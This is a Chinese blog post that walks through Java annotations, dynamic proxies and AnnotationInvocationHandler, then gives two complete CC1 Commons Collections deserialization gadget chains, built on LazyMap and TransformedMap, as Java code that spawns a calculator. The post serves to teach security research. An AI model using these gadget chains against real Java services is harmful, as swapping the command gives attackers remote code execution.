美文网首页
JF3—注解、动态代理与CC1

JF3—注解、动态代理与CC1

作者: AxisX | 来源:发表于2023-02-23 11:33 被阅读0次

    注解

    Java使用@interface来定义注解,假设要自定义一个名为@Range的注解如下

    @Retention(RetentionPolicy.RUNTIME)
    @Target(ElementType.FIELD)
    public @interface Range {
        int min() default 0;
        int max() default 255;
    }
    

    在某个JavaBean应用@Range

    public class Price {
        @Range(min=1, max=20)
        public String value;
    }
    

    但是此时这个注解对程序本身没有任何影响,一般我们设定@Range是希望字段值能符合范围要求,那么这段代码需要我们自己编写

    void check(Price price) throws IllegalArgumentException, ReflectiveOperationException {
        for (Field field : price.getClass().getFields()) { // 遍历所有Field
            Range range = field.getAnnotation(Range.class); // 获取Field定义的@Range
            if (range != null) { // 如果该字段被@Range标记
                Object value = field.get(price); // 获取Field的值
                if (value instanceof String) { // 如果是String类型
                    String s = (String) value;
                    if (s.length() < range.min() || s.length() > range.max()) { // 判断值是否满足@Range的min/max
                        throw new IllegalArgumentException("Invalid field: " + field.getName());
                    }
                }
            }
        }
    }
    

    注解中有一个重要的概念叫做元注解,它可以修饰其他注解,如@Target@Retention@Repeatable@Inherited等。上面的Demo中用到了前两个。后两个注解应用相对较少,@Repeatable定义注解是否可重复,@Inherited定义子类是否可继承父类定义的注解。

    (1)@Target:定义这个注解可以应用在源码的哪些位置,根据源码的位置标记如下

    类或接口:ElementType.TYPE;
    字段:ElementType.FIELD;
    方法:ElementType.METHOD;
    构造方法:ElementType.CONSTRUCTOR;
    方法参数:ElementType.PARAMETER。
    

    假设要将注解@Report定义在方法或字段上,标记如下

    @Target({
        ElementType.METHOD,
        ElementType.FIELD
    })
    public @interface Report {
        ...
    }
    

    (2)@Retention:定义注解的生命周期。分为:仅编译期RetentionPolicy.SOURCE、仅class文件RetentionPolicy.CLASS、运行期RetentionPolicy.RUNTIME。如果没有标注,则默认为.CLASS。但是一般自定义的注解都采用.RUNTIME

    动态代理

    Interface类型的变量是需要向上转型来创建实例的。如果想要不编写实现类直接new一个Interface就需要用到动态代理。假设接口类为Echo,类中有个call方法,其动态实现如下

    InvocationHandler handler = new InvocationHandler() {
        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            ...
        }
    };
    
    Echo echo = (Echo) Proxy.newProxyInstance(
        Echo.class.getClassLoader(), // 传入ClassLoader
        new Class[] { Echo.class }, // 传入要实现的接口
        handler); // 传入处理调用方法的InvocationHandler
    echo.call("axisx");
    

    所有的注解都继承自java.lang.annotation.Annotation,读取注解需要用反射,如下:

    Range range=xx.class.getAnnotation(Range.class); // range的类型为$Proxy
    System.out.println(range.min()); 
    

    如果在range上打个断点,在调试过程中会执行到AnnotationParser.annotationForMap(),代码如下,完全符合上述动态代理的过程,最终得到的range也是$Proxy类型的。

        public static Annotation annotationForMap(final Class<? extends Annotation> var0, final Map<String, Object> var1) {
            return (Annotation)AccessController.doPrivileged(new PrivilegedAction<Annotation>() {
                public Annotation run() {
                    return (Annotation)Proxy.newProxyInstance(var0.getClassLoader(), new Class[]{var0}, new AnnotationInvocationHandler(var0, var1));
                }
            });
        }
    

    此时用到的InvocationHandler类型为AnnotationInvocationHandler

    AnnotationInvocationHandler

    Range注解Demo执行到此处时,其构造函数的var1为Range注解类,var2为@Range赋值的键值对{"max":"20", "min":"1"}

    另外,一般自定义注解类上都标注了@Retention(RetentionPolicy.RUNTIME),在这种情况下,构造函数的var1为Retention类,var2为@Retention的键值对{"value": {RetentionPolicy@532} }

        AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
            Class[] var3 = var1.getInterfaces();
            if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
                this.type = var1;
                this.memberValues = var2;
            } ...
        }
    

    InvocationHandler接口本身只有一个invoke方法,用于实现接口的具体功能。AnnotationInvocationHandler是基于注解对invoke进行实现的,上面提到所有的注解都继承自Annotation接口,Annotation接口中一共四个方法:equals()、hashCode()、toString()、annotationType()。所以对method名称的判断就包括这四种,如果名称不在这四个范围内,就以名称为key,从memberValues属性中获取对应的值。

    public Object invoke(Object var1, Method var2, Object[] var3) {
            String var4 = var2.getName();
            Class[] var5 = var2.getParameterTypes();
            if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
                return this.equalsImpl(var3[0]);
            } else if (var5.length != 0) { // 要求var2为无参方法
                throw new AssertionError("Too many parameters for an annotation method");
            } else {
                switch (var4) {
                    case "toString":
                        return this.toStringImpl();
                    case "hashCode":
                        return this.hashCodeImpl();
                    case "annotationType":
                        return this.type;
                    default:
                        Object var6 = this.memberValues.get(var4);
                       ...
                }
            }
        }
    

    CC1 LazyMap

    上面AnnotationInvocationHandler.invoke(),调用了memberValues.get()方法。而memberValues是Map类型的,可以构造对LazyMap的调用。前一篇JF2中讲到Tranformer形成了命令执行的链条,后续的链条就是由LazyMap.get()进行调用,CC1和CC6的后续是一致的。那么此时的问题就是如何调用AnnotationInvocationHandler.invoke()

    private final Map<String, Object> memberValues;
    

    前面提到动态代理调用接口方法时,可以自动执行invoke。那么payload整体构造思路就是:(1)创建Transformer链条,赋值给LazyMap(2)反射创建一个InvocationHandler,构造函数的Map参数,即memberValues,赋值为LazyMap(3)构造函数的Map参数赋值为动态代理(这样在readObject()时,Map(Proxy).entrySet()会调用到AnnotationInvocationHandler.invoke()

            Transformer[] transformer=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
            };
            ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
            Map hashMap=new HashMap();
            Map map= LazyMap.decorate(hashMap,chainedTransformer);
    
            Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor=cls.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler InvocationHandler=(InvocationHandler)constructor.newInstance(Retention.class,map);
    
            Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},InvocationHandler);
            InvocationHandler=(InvocationHandler)constructor.newInstance(Retention.class,proxyMap);
    
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            outputStream.writeObject(InvocationHandler);
            outputStream.close();
    
            ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
            inputStream.readObject();
    

    CC1 TransformedMap

    另外针对AnnotationInvocationHandler还有一个链条思路,就是不走invoke,而是直接从readObject方法入手。

    这里有个前置条件,CC1和CC6对于Transformer链条的衔接都用的是LazyMap,但是这个<8u71的用的是TransformedMap。二者的作用都是调用了Transformer.transform()

    # LazyMap
        public Object get(Object key) {
            // create value for key if key is not currently in the map
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key);
                map.put(key, value);
                return value;
            }
            return map.get(key);
        }
    # TransformedMap
        public Object put(Object key, Object value) {
            key = transformKey(key);
            value = transformValue(value); // return keyTransformer.transform(object);
            return getMap().put(key, value); // valueTransformer.transform(object);
        }
    

    但是二者对于上层的调用构造是有区别的,TransformedMap只需要构造一个map.put("xx","xx")即可触发,

    AnnotationInvocationHandler.readObject()代码如下,假设上面的range实例进行反序列化,var3获取的就是Range类的属性和类型,即{"min":Integer.class,"max":Integer.class},然后对这个Map结构进行遍历

        private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
            var1.defaultReadObject();
            AnnotationType var2 = AnnotationType.getInstance(this.type);
    
            Map var3 = var2.memberTypes();
            Iterator var4 = this.memberValues.entrySet().iterator();
    
            while(var4.hasNext()) {
                Map.Entry var5 = (Map.Entry)var4.next();
                String var6 = (String)var5.getKey(); // Map的key,如range的min属性
                Class var7 = (Class)var3.get(var6); // 获取min属性的类型,Integer.class
                if (var7 != null) {
                    Object var8 = var5.getValue(); // 获取min的属性值,1
                    if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                        var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                    }
                }
            }
        }
    

    其中var5.setValue()就是往Map里写入值,实际上调用的就是map.put()。在执行到这步之前有个判断,var7!=null,也就是在注解类中必须存在var6这个key,key就是注解中定义的方法。那么我们就需要找到一个JDK自带的通用的注解类,元注解就符合这个思路。假如选取元注解中的@Retention,它有一个自带的方法value()

    public @interface Retention {
        RetentionPolicy value();
    }
    

    整体payload如下,同理其中的Retention.class可以换成Target.class等元注解类

            Transformer[] transformer=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
            };
            ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
            Map hashMap=new HashMap();
            hashMap.put("value","axisx");
    
            Map map=TransformedMap.decorate(hashMap,null,chainedTransformer);
    
            Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor=cls.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler InvocationHandler=(InvocationHandler)constructor.newInstance(Retention.class,map);
    
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            outputStream.writeObject(InvocationHandler);
            outputStream.close();
    
            ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
            inputStream.readObject();
    

    但是CC1存在一个限制,只适用于Java 8u71以下版本,因为在此之后AnnotationInvocationHandler#readObject的逻辑发生了变化

    相关文章

      网友评论

          本文标题:JF3—注解、动态代理与CC1

          本文链接:https://www.haomeiwen.com/subject/htigkdtx.html